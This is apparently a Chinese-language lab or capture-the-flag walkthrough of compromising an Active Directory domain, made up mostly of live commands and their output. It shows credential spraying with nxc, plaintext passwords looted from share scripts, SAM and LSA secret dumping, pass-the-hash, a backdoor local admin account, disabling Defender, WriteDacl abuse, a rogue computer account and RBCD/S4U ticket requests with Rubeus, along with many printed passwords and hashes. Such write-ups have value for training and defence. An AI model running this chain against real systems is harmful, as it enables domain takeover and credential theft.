└─$ proxychains4 -q nxc smb targets.txt -u EthanMorris -p 'DROCV4?LtyCp'
SMB 172.16.34.5 445 ASLSRVAD05 [*] Windows Server 2022 Build 20348 x64 (name:ASLSRVAD05) (domain:aoseluauto.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.34.23 445 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB 172.16.34.5 445 ASLSRVAD05 [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp
SMB 172.16.36.21 445 ASLITPC03 [*] Windows 11 / Server 2025 Build 26100 x64 (name:ASLITPC03) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB 172.16.34.23 445 ASLSRVFS02 [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp
SMB 172.16.36.21 445 ASLITPC03 [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp (Pwn3d!)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00三台机器上都能认证成功，可访问文件共享；172.16.36.21(Pwn3d!)表示该账户在目标上有管理员权限，可以远程执行命令
但只有ASLSRVFS02 172.16.34.23这台机器有重要信息，用EthanMorris这个域用户，枚举目标机器上的所有共享文件夹
└─# proxychains4 -q nxc smb 172.16.34.23 -u EthanMorris -p 'DROCV4?LtyCp' --shares
SMB 172.16.34.23 445 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:aoseluauto.com) (signing:False) (SMBv1:None)
SMB 172.16.34.23 445 ASLSRVFS02 [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp
SMB 172.16.34.23 445 ASLSRVFS02 [*] Enumerated shares
SMB 172.16.34.23 445 ASLSRVFS02 Share Permissions Remark
SMB 172.16.34.23 445 ASLSRVFS02 ----- ----------- ------
SMB 172.16.34.23 445 ASLSRVFS02 ADMIN$ Remote Admin
SMB 172.16.34.23 445 ASLSRVFS02 C$ Default share
SMB 172.16.34.23 445 ASLSRVFS02 FileService READ,WRITE Aoselu FileService
SMB 172.16.34.23 445 ASLSRVFS02 IPC$ READ Remote IPC| 共享名 | 权限 | 说明 |
|---|---|---|
ADMIN$ | 无（需管理员权限） | 远程管理共享，指向 C:\Windows |
C$ | 无（需管理员权限） | 默认 C 盘共享，只有管理员可访问 |
FileService | READ, WRITE | 这是一个可读可写的共享文件夹 |
IPC$ | READ | 用于进程间通信，常用于枚举和漏洞利用 |
使用smbclient连接，去找有效信息
proxychains4 -q /usr/share/doc/python3-impacket/examples/smbclient.py aoseluauto.com/EthanMorris:'DROCV4?LtyCp'@172.16.34.23
# shares
ADMIN$
C$
FileService
IPC$
# use FileService
# ls
drw-rw-rw- 0 Thu Jun 11 11:59:47 2026 .
drw-rw-rw- 0 Thu Jun 11 11:59:47 2026 ..
-rw-rw-rw- 518317 Sun May 25 07:03:45 2025 Aoselu_PKM.xlsx
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Design Documents
-rw-rw-rw- 518294 Sun May 25 07:03:45 2025 Design_FB0.pdf
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Employee Records
drw-rw-rw- 0 Sun May 25 07:03:45 2025 IT Resources
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Marketing Assets
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Production Reports
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Quality Control
-rw-rw-rw- 518302 Sun May 25 07:03:45 2025 Report_04P.json
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Sales Forecasts
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Supply Chain
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Vehicle Specifications
# cd IT Resources
# ls
drw-rw-rw- 0 Sun May 25 07:03:45 2025 .
drw-rw-rw- 0 Sun May 25 07:03:45 2025 ..
drw-rw-rw- 0 Sun May 25 07:03:45 2025 IT Logs
drw-rw-rw- 0 Sun May 25 07:03:45 2025 Ops Scripts
# cd Ops Scripts
# ls
drw-rw-rw- 0 Sun May 25 07:03:45 2025 .
drw-rw-rw- 0 Sun May 25 07:03:45 2025 ..
-rw-rw-rw- 1275 Sun May 25 07:03:45 2025 Backup-UserData.ps1
-rw-rw-rw- 1159 Sun May 25 07:08:35 2025 Check-BackupJobStatus.ps1
-rw-rw-rw- 795 Sun May 25 07:03:45 2025 Deploy-WebAppBackup.ps1
-rw-rw-rw- 1072 Sun May 25 07:07:27 2025 FileServer-Cleanup.ps1
-rw-rw-rw- 576 Sun May 25 07:03:45 2025 Get-ADUserGroupMembership.ps1
-rw-rw-rw- 1228 Sun May 25 07:07:36 2025 Manage-ExchangeMailbox.ps1
-rw-rw-rw- 1219 Sun May 25 07:03:45 2025 Monitor-DiskSpace.ps1
-rw-rw-rw- 2340 Sun May 25 07:08:49 2025 RemoteBackupWithCreds.ps1
-rw-rw-rw- 1061 Sun May 25 07:08:51 2025 Reset-UserPassword.ps1
-rw-rw-rw- 960 Sun May 25 07:03:45 2025 Restart-Service-IfStopped.ps1
# get Backup-UserData.ps1
# get Check-BackupJobStatus.ps1
# get RemoteBackupWithCreds.ps1
# get FileServer-Cleanup.ps1
# get Get-ADUserGroupMembership.ps1
# get Manage-ExchangeMailbox.ps1
# get Monitor-DiskSpace.ps1
# get Reset-UserPassword.ps1
# get Restart-Service-IfStopped.ps1powershell脚本泄漏域用户账号密码
拿到几个powershell脚本Backup-UserData.ps1和Check-BackupJobStatus.ps1和RemoteBackupWithCreds.ps1等等
- RemoteBackupWithCreds.ps1
这是一段 PowerShell 远程备份脚本
这个脚本的作用是：使用指定的域账户，远程连接到目标计算机，将指定文件夹备份到目标位置。
| 参数 | 说明 |
|---|---|
TargetComputer | 要备份的远程计算机名或 IP |
SourcePath | 远程计算机上的源文件夹路径（如 C:\Data） |
BackupDestination | 备份目标路径（可以是网络共享或本地路径） |
| 信息 | 值 |
|---|---|
| 用户名 | svc_bakadm01 |
| 密码 | k3!8Fa&Sq8Z6 |
| 域 | aoseluauto.com |
这是一个服务账户，从命名 svc_bakadm01 来看，它有备份管理员权限
- Backup-UserData.ps1
| 信息 | 值 |
|---|---|
| 用户名 | aoseluauto\svc_bakadm02 |
| 密码 | CYNpR5i@Z?_= |
| 域 | aoseluauto.com |
这个脚本的作用是：使用 svc_bakadm02 账户，将三个用户的 Documents 文件夹备份到网络共享 \\SQLSRVBKP01\AoseluUserBackups
最终拿到这些凭据
$username = "aoseluauto\svc_bakadm01"
$password = "k3!8Fa&Sq8Z6"
$remoteUser = "aoseluauto\\svc_netadm03"
$remotePass = ConvertTo-SecureString "0&8SwSc=Ok%2" -AsPlainText -Force
$backupUser = "aoseluauto\\svc_bakadm02"
$backupPassPlain = "CYNpR5i@Z?_="
$backupUser = "aoseluauto\\svc_webadm02"
$backupPass = ConvertTo-SecureString "WebAdmPass789!" -AsPlainText -Force
$remoteUser = "aoseluauto\\svc_netadm03"
$remotePass = ConvertTo-SecureString "0&8SwSc=Ok%2" -AsPlainText -Force
$domainAdminUser = "aoseluauto\\svc_adm01"
$domainAdminPassword = ConvertTo-SecureString "_7zg9QFlCTns" -AsPlainText -Forcebloodhound分析
先导入bloodhound到ASLSRVFS03这台机器，system权限执行
SharpHound.exe -c all先整合下信息，ASLITPC03这个机器我们已经拿到了
还拿到了svc_bakadm01等上面这些域用户，把他们全部归为**“own”拥有**
分别搜索以上拿到的用户到ASLSRVFS02机器的路径
只有域用户svc_bakadm01的账号密码是可以rdp登录ASLSRVFS02 172.16.34.23主机的。
第三台172.16.34.23（ASLSRVFS02）
使用evil-winrm连接可以拿到一个powershell
└─# proxychains4 -q evil-winrm -i 172.16.34.23 -u svc_bakadm01 -p 'k3!8Fa&Sq8Z6'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami
aoseluauto\svc_bakadm01*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeBackupPrivilege是Enabled开启的，SeBackupPrivilege 是Windows中一个非常强大的权限。它允许一个进程**“为了备份的目的，去读取任何它本无权限读取的文件或注册表项”**。
当像 reg save 或 robocopy /B 这样“懂得”备份API的程序运行时，它会向操作系统声明：“我正在执行一个备份操作。” 操作系统在检查到调用进程拥有 SeBackupPrivilege 后，就会临时授予它对所有资源的读取权限。
读取注册表存放的NTLM Hash
#SAM 文件里存着这台电脑上所有本地用户的密码哈希（NTLM Hash）。
reg save HKLM\SAM sam.hiv
reg save HKLM\SAM system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL
你解释一下为什么要执行这3个名了命令 1:reg save HKLM\SAM sam.hive
SAM 文件里存着这台电脑上所有本地用户的密码哈希（NTLM Hash）。
文件位置：C:\Windows\System32\config\SAM
关键点：系统运行时，这个文件被 lsass.exe 进程独占锁定，任何普通的 copy 命令都读不了它。你直接去复制，只会得到“文件正在使用”或“拒绝访问”。
那为什么 reg save 就能读？
reg save 不是去碰那个被锁定的物理文件，而是直接向 Windows 的注册表内核管理器发一个请求：“请把 HKLM\SAM 这个键的所有数据导出给我。” 只要你的进程有足够权限（SYSTEM 或拥有 SeBackupPrivilege），这个请求就会成功，从而完美绕过文件锁定。
所以这里第一句的本质是：把内存/内核里有效的 SAM 数据“抓”出来存成文件命令 2:reg save HKLM\SYSTEM system.hive
SAM 文件里的哈希是加密的，而解密密钥存在 SYSTEM 里。
SAM 里存储的并不是明文密码，也不是可以直接拿来用的 NTLM 哈希，而是被 SysKey 加密后的密文。
这个 SysKey（系统密钥）就存储在 HKLM\SYSTEM 这个注册表键里。命令 3：secretsdump.py -sam sam.hive -system system.hive LOCAL
从你给的 system.hive 里提取出 SysKey。
用这把“钥匙”去解密 sam.hiv 里加密的哈希。
输出最终可用的 NTLM 哈希。└─# python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x833ec52f6f12689eda8e8ed4d5374009
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:74aaf464e1a7a75f2123ada1dd62edab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3d23ddf5c2e625618408ee0ce3b888cb:::
[*] Cleaning up... 提取到的 NTLM 哈希
| 用户 | RID | NTLM Hash |
|---|---|---|
| Administrator | 500 | 74aaf464e1a7a75f2123ada1dd62edab |
| Guest | 501 | 31d6cfe0d16ae931b73c59d7e0c089c0（空密码） |
| DefaultAccount | 503 | 31d6cfe0d16ae931b73c59d7e0c089c0（禁用） |
| WDAGUtilityAccount | 504 | 3d23ddf5c2e625618408ee0ce3b888cb |
PTH哈希传递拿ASLSRVAD02的管理员权限
proxychains4 -q evil-winrm -i 172.16.34.23 -u administrator -H 74aaf464e1a7a75f2123ada1dd62edab
*Evil-WinRM* PS C:\Users\Administrator\Documents> cmd /c "dir C:\*flag* /s /b"
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\flag.txt.txt
flag{55fb86d4-68ea-4697-81ee-3fb7cdcd1ee9}利用nxc转存hash
┌──(root㉿kali)-[/home/kali]
└─# proxychains4 -q nxc smb 172.16.34.23 -u Administrator -H 74aaf464e1a7a75f2123ada1dd62edab --local-auth --lsa
SMB 172.16.34.23 445 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:ASLSRVFS02) (signing:False) (SMBv1:None)
SMB 172.16.34.23 445 ASLSRVFS02 [+] ASLSRVFS02\Administrator:74aaf464e1a7a75f2123ada1dd62edab (Pwn3d!)
SMB 172.16.34.23 445 ASLSRVFS02 [*] Dumping LSA secrets
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO.COM/Administrator:$DCC2$10240#Administrator#9d1444698dc4a6141e884cf8f5cdadc2: (2025-05-19 03:16:30)
SMB 172.16.34.23 445 ASLSRVFS02 aoseluauto.com/svc_monadm01:$DCC2$10240#svc_monadm01#2d7bde2a9553b020fa11672d9b596237: (2025-05-19 05:23:37)
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO.COM/svc_bakadm01:$DCC2$10240#svc_bakadm01#e33d8ca5d44a4aad9d7ca7e16fa62f3c: (2026-06-11 05:50:49)
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\ASLSRVFS02$:aes256-cts-hmac-sha1-96:144d0da0d0a48f9876e1624b5abf5df843110ef1502fdc05deccbc6a0082beb6
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\ASLSRVFS02$:aes128-cts-hmac-sha1-96:6ef03ba1a854ff393c59552b897143bf
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\ASLSRVFS02$:des-cbc-md5:eaf8a89d0bae3273
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\ASLSRVFS02$:plain_password_hex:6d9e6fb5cec4ea52706c7b8853b66e1b44b42d500bb27a0e3b1ed6ba2a6008c4e2c7cc13e835b211ec9563380ede0c7d24513d83a41cef029e6eae5359c1f7773a4317e1c4490eb38174c0cbc30e6c8d8297b40466df1c7375bcbf84db9f82840a6e62d3420b40123f397410be010d3ab76566d6b90fe5ae601ef16da90c1a1171b651e91ce3c9157cde57bf689d187cedd4e5b10b592fec81706809978a9c3d1e03619f95744a8b4851c3e1863f4a1be06fe21edcb56c7de3e73449378da09fe7ec23c522e9860bc724a3b661fcc4ce90829e08457beadfd5a63fc752effa21086c99294eb73d0cdb3f864d6e2a5f9a
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\ASLSRVFS02$:aad3b435b51404eeaad3b435b51404ee:d2b9d09d066c23b3026091d1dbe0e14a:::
SMB 172.16.34.23 445 ASLSRVFS02 dpapi_machinekey:0x0d86786bba253a698c577173cc5b1ab2ddb4ad19
dpapi_userkey:0x7f6077f0b955c2e73342148aeb030688256d64e1
SMB 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\svc_monadm01:96Mr!je39y_p
SMB 172.16.34.23 445 ASLSRVFS02 [+] Dumped 10 LSA secrets to /root/.nxc/logs/lsa/ASLSRVFS02_172.16.34.23_2026-06-10_225916.secrets and /root/.nxc/logs/lsa/ASLSRVFS02_172.16.34.23_2026-06-10_225916.cached
获取到新的域用户的hash：
aoseluauto.com\svc_monadm01
96Mr!je39y_p
ab232c3cf9f4b7cf27602082b04f306b更新一下bloodhound，把这个域用户设为own
svc_monadm01这个用户对域控有WriteDacl权限，使用该用户进行操作最终可以接管域。
WriteDacl 允许你修改 Active Directory 对象的访问控制列表（ACL）。简单来说，你可以给自己或你控制的账户，添加原本没有的高权限，最终拿下整个域。
一般对域控有WriteDacl权限，可以走下面几个路子
WriteDacl权限利用方式总结
- DCSync：给自己添加“域复制”权限，直接“同步”出所有域用户的密码哈希。
- 添加为域管理员：将自己控制的账户直接添加到
Domain Admins或Enterprise Admins组 - 将你对域控计算机对象的权限提升为“完全控制”：为账户添加
FullControl权限。
方法一：尝试写 WriteDacl 权限（失败）
既然已经对域控有 WriteDacl 权限，尝试直接给 svc_monadm01 添加 DCSync 权限然后 dump 哈希：
┌──(root㉿kali)-[~]
└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/dacledit.py \
-action 'write' \
-rights 'DCSync' \
-principal 'svc_monadm01' \
-target-dn 'DC=aoseluauto,DC=com' \
'aoseluauto.com/svc_monadm01' \
-hashes :ab232c3cf9f4b7cf27602082b04f306b \
-dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20260611-200150.bak
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E29, problem 4003 (
), data 0这个错误 INSUFF_ACCESS_RIGHTS 说明 svc_monadm01 虽然有 WriteDacl 权限，但不足以直接在域根对象上添加 DCSync 权限
方法二：为账户添加 FullControl 权限+约束委派 (RBCD)
途径WriteDacl → 创建恶意的计算机账户 →给这个计算机账户 配置资源委派 → S4U2Proxy → 访问域控
1.FullControl
首先，需要先利用WriteDacl修改目标的DACL，给 svc_monadm01 用户授予对域控制器 ASLSRVAD05 的完全控制权（FullControl）。
└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -principal 'svc_monadm01' -target-dn 'CN=ASLSRVAD05,OU=Domain Controllers,DC=aoseluauto,DC=com' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20260610-223551.bak
[*] DACL modified successfully!| 参数 | 值 | 含义 |
|---|---|---|
-action | write | 执行写入操作（修改 ACL） |
-rights | FullControl | 授予完全控制权限 |
-principal | svc_monadm01 | 被授予权限的用户 |
-target-dn | CN=ASLSRVAD05,OU=Domain Controllers,DC=aoseluauto,DC=com | 目标对象（域控计算机） |
-hashes | :ab232c3cf9f4b7cf27602082b04f306b | 使用 NTLM 哈希认证 |
-dc-ip | 172.16.34.5 | 指定域控 IP |
添加恶意主机，准备配置RBCD：在域中添加了一台新的计算机账户
在 Active Directory 域中创建一个新的计算机账户（机器账户）。这是基于资源的约束委派（RBCD, Resource-Based Constrained Delegation）攻击链中的第一步，其核心目的是为自己创建一个“受控”的计算机对象，以便后续将其配置为可模拟域管理员访问高价值目标（如域控）。这个新创建的计算机账户是我完全可控的。它的核心用途是作为RBCD攻击的“源”或“中继”。可以通过修改 ASLSRVAD05$（域控计算机账户）的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，来允许EVILCOMPUTER$ 这个“受控”计算机去模拟任何域用户（比如Administrator），进而访问域控上的指定服务（如CIFS）。
2.创建恶意计算机账户
└─# proxychains4 -q /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'EVILCOMPUTER$' -computer-pass '123@#ABC' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account EVILCOMPUTER$ with password 123@#ABC.| 参数 | 含义 |
|---|---|
-computer-name 'EVILCOMPUTER$' | 要创建的计算机账户名，$ 结尾是计算机账户在AD中的标准命名方式 |
-computer-pass '123@#ABC' | 为该计算机账户设置的密码，你需要记住它，后续要用来请求Kerberos票据 |
'aoseluauto.com/svc_monadm01' | 执行此操作所依赖的用户身份，即你当前控制的账户 |
-hashes :ab232c3cf9f4b7cf27602082b04f306b | svc_monadm01 的 NTLM 哈希，用于认证 |
-dc-ip 172.16.34.5 | 指定域控的IP地址 |
3.配置约束委派（RBCD）
配置基于资源的约束委派（RBCD），允许你控制的计算机账户 EVILCOMPUTER$ 模拟任意域用户（如 Administrator）去访问域控 ASLSRVAD05$ 上的指定服务（如 CIFS）
proxychains4 -q /usr/share/doc/python3-impacket/examples/rbcd.py \
-delegate-from 'EVILCOMPUTER$' \ # 源：你创建的受控计算机
-delegate-to 'ASLSRVAD05$' \ # 目标：域控计算机
-action 'write' \ # 操作：写入/修改委派配置
'aoseluauto.com/svc_monadm01' \ # 认证用户：拥有修改权限的账户
-hashes :ab232c3cf9f4b7cf27602082b04f306b \ # 其NTLM哈希
-dc-ip 172.16.34.5 # 指定域控IP
proxychains4 -q /usr/share/doc/python3-impacket/examples/rbcd.py -delegate-from 'EVILCOMPUTER$' -delegate-to 'ASLSRVAD05$' -action 'write' 'aoseluauto.com/svc_monadm01' -hashes :ab232c3cf9f4b7cf27602082b04f306b -dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKER$ (S-1-5-21-198605783-2356506617-271110585-1248)
[*] hhaacckk$ (S-1-5-21-198605783-2356506617-271110585-1246)
[*] Delegation rights modified successfully!
[*] EVILCOMPUTER$ can now impersonate users on ASLSRVAD05$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKER$ (S-1-5-21-198605783-2356506617-271110585-1248)
[*] hhaacckk$ (S-1-5-21-198605783-2356506617-271110585-1246)
[*] EVILCOMPUTER$ (S-1-5-21-198605783-2356506617-271110585-1249)| 参数 | 含义 |
|---|---|
-delegate-from | 攻击源：你完全控制的计算机账户（攻击跳板） |
-delegate-to | 攻击目标：高价值服务器，这里是域控 |
-action 'write' | 写入：修改目标的委派配置 |
svc_monadm01 | 执行者：拥有 WriteDacl 权限，可以修改域控属性的账户 |
添加完RBCD配置后，远程去请求票据时
4.票据请求
┌──(kali㉿kali)-[~/tools/bachang/Aoselu]
└─$ proxychains4 -q /usr/share/doc/python3-impacket/examples/getST.py \
-spn 'CIFS/ASLSRVAD05.aoseluauto.com' \
-impersonate Administrator \
'aoseluauto.com/EVILCOMPUTER$:123@#ABC' \
-dc-ip 172.16.34.5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)| 参数 | 值 | 含义 |
|---|---|---|
-spn | CIFS/ASLSRVAD05.aoseluauto.com | 目标服务（文件共享） |
-impersonate | Administrator | 要模拟的用户 |
EVILCOMPUTER$:123@#ABC | 计算机账户和密码 | 用于认证（你创建时设置的密码） |
会发生报错：Kerberos SessionError:KRB_AP_ERR_SKEW(Clock skew too great)，需要向域控同步时间才能解决这个错误
使用了好几个办法，faketime之类的，而且23这台域主机的时间明明跟自己的kali时间是一样的。但获取票据时还是显示时间不同步。弄不了
域内机器上发送请求
选择直接上传个Rubeus在域内机器上发送请求，这个主机上的Windows Defender开着，在上传工具前需要先手动关闭一下。
**注意：**以添加的管理员用户去关掉defend时，得回退到域用户去执行 Rubeus。这个你添加的那个管理员用户是 ASLSRVFS02 的本地管理员，但 不是域用户（ Kerberos 票据操作受限）。委派操作需要域账户
但是我目前只有23这台机器的administrator的hash，不能rdp上去。
但是之前不是拿到了23这台机器的administrator的hash吗，直接wmiexec过去再添加个本地管理员，是明文的账号密码的，那就直接可以rdp上去
└─# proxychains4 -q impacket-wmiexec -hashes :74aaf464e1a7a75f2123ada1dd62edab administrator@172.16.34.23
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
aslsrvfs02\administrator
C:\>net user hacker P@ssw0rd123! /add
The command completed successfully.
C:\>net localgroup administrators hacker /add
The command completed successfully.
直接关掉
使用 Rubeus 工具先计算EVILCOMPUTER的密码的 Kerberos 加密哈希值。
C:\Users\Public>Rubeus.exe hash /password:123@#ABC /user:EVILCOMPUTER /domain:aoseluauto.com
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Calculate Password Hash(es)
[*] Input password : 123@#ABC
[*] Input username : EVILCOMPUTER
[*] Input domain : aoseluauto.com
[*] Salt : AOSELUAUTO.COMEVILCOMPUTER
[*] rc4_hmac : 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*] aes128_cts_hmac_sha1 : 02B7BFEACC60B549167EFF93BE6E5104
[*] aes256_cts_hmac_sha1 : 979FABC68C96B23B5E015C027B5B0DE218BE5D830D20B0E6A51B5650495BDFEE
[*] des_cbc_md5 : F831831F20E329A7| 项目 | 值 |
|---|---|
| 用户名 | EVILCOMPUTER$ |
| 密码 | 123@#ABC |
| NTLM 哈希 | 3A37C6AC3AFBEEF7A8EB36A4481BDED4 |
对于计算机账户，Rubeus 的 hash 命令在计算哈希时有一个特别需要注意的地方：不能直接输入带 $ 结尾的用户名。
模拟域管这的 Administrator想域控请求获取访问域控 C$ 共享的权限
C:\Users\Public>.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:3A37C6AC3AFBEEF7A8EB36A4481BDED4 /domain:aoseluauto.com /msdsspn:CIFS/ASLSRVAD05 /impersonateuser:Administrator /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: S4U
[*] Using rc4_hmac hash: 3A37C6AC3AFBEEF7A8EB36A4481BDED4
[*] Building AS-REQ (w/ preauth) for: 'aoseluauto.com\EVILCOMPUTER$'
[*] Using domain controller: 172.16.34.5:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFyDCCBcSgAwIBBaEDAgEWooIE0jCCBM5hggTKMIIExqADAgEFoRAbDkFPU0VMVUFVVE8uQ09NoiMwIaADAgECoRowGBsGa3JidGd0Gw5hb3NlbHVhdXRvLmNvbaOCBIYwggSCoAMCARKhAwIBAqKCBHQEggRwbJnyoxQtELO7bTGf8BxcuacbG0jcFJZsjQOSR+e2iIh8IIGJHLbIO/Ak1S/Jz2eZ8u4J+qYSp3EKeHK2siTpVvAhxKGtcpBKxEHYVYtJIbapYqeG7eYqtNzgJmk9c4g1iw9z4XqkevW/XkiEJbOHkjhTd3UA/M2uDe6tg3XtdRyY1MpJZ1ZDC81ropk0JAcG8b4BBIT+tydvYgpLL6kR8vbUsWuTVBHdfke+N5vP2eKzEcYGkGAGcOpRUOlkm/YA4lGBqoDJLZodiZ3gV2kXuTj+iB3bUueUX1xR8NGvaA9kPX7Ga/uR4pShD+GGev08VTA7i3QALMlTvgYZMW8l8xkHJKa/rNLAe9d5UsxyZUjoQsYgAP7wXzuhaFo9Xd0lA+LWDGWO5E9AES9OVNRYG5JrR22Q+RLkl/zhuS0h53qMV9tejOuHWzRrVWL8HMEgvUtKEINFebnrjfekV9xZ/Hg+CCvlCk2xjX9OhiuDYQ4kWm1wKJJmqpLiDuJlIqo/76YGkPUh6/SBWVSI9R5r61vJIr/PFW4JxmFGc6tm89zlpVI8GZX0GW358yhqmL5WyeaHwQZ7xML8x9oDOVuLki4uzi/DBtkqguhbFm/u11UmpLQNu24FjQL6k6Ig1MEU7U+QXbhwSrXVfmHjx4hjBrqTijW4aE5a96c5l87xMvGntZy/ajqKUp8fFMEkKnLel3tRiuD72deQrulhFyV8xaq6wvB+a3kle8pK7pNko1Thuqw0LX5zLPQzeBOM49KwI57VXJafOeExZ7HaNd+GUP3JseEHS1kfvkeuXmzZgZEokp4d68CG28RCfwzg6ahSW3WVa/u0GNfNkih929Zvf44EnWQXGcdlThZMr8mBsoS8h/wdblNymjcaoRIvM3JxR3nIg1WVy78o9K+5TfVdjcRapElnMBU0dgIZKoa20x+sf+rh9zt/2ssVYK6iJxjPAuWs6ubZ6jEjVqs9r9VRWEcs6LyduVVdBHnnpQWkpwRZjxV8/jLqUxFqzGphdr7o2pnfybMWcKshgVMCEGxhwQKaO+gaCbVflMt5/ABGquWnxBgWLrDqse+RUf3DKgiHpGU8k9VaBpq/MEv5Wf/UK5ldzt8Ojtu6wIj8fgtKyGm5TKZ/t+onmT7rUdmyxBSuzvapJGktwUpiXwGbmFCZpHBvdlGSO0+MFiYn0T0UY3wwzTcc6CS4C8b3JllEAvwjJkly3aTwnNY5maQO5YGN8v4ZqXqPGfyIQ/deSjuxHIk12kQy2+Jl22b3lFLQ0nGvXuCq9LUNTJHYuCJORChnUZ2ETX2U0ChAAjuMRcT/n4WuoZv8y4ZYpMJd+52zM/NSeAV7LMRP6iPRDQpaBYY3L2+R0VQ5Rb3PR8INjboatsxBsLeJaWTWjx+HxmHORJOCeHuW5oPmaFk8KpGhlPEA+xbFe9WNAvbcX8BUYfGl/0nSJr1xNriuT+FUIRUfLvQIF8FMZY7IDtl0kPeknwP1ToT86697mupY3P1wTiXKeQmjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBF6ESBBB2Vwl5a6F1/jxm2gKWJlCwoRAbDkFPU0VMVUFVVE8uQ09NohowGKADAgEBoREwDxsNRVZJTENPTVBVVEVSJKMHAwUAQOEAAKURGA8yMDI2MDYxMjAzMzExNVqmERgPMjAyNjA2MTIxMzMxMTVapxEYDzIwMjYwNjE5MDMzMTE1WqgQGw5BT1NFTFVBVVRPLkNPTakjMCGgAwIBAqEaMBgbBmtyYnRndBsOYW9zZWx1YXV0by5jb20=
[*] Action: S4U
[*] Building S4U2self request for: 'EVILCOMPUTER$@AOSELUAUTO.COM'
[*] Using domain controller: ASLSRVAD05.aoseluauto.com (172.16.34.5)
[*] Sending S4U2self request to 172.16.34.5:88
[X] KRB-ERROR (18) : KDC_ERR_CLIENT_REVOKED
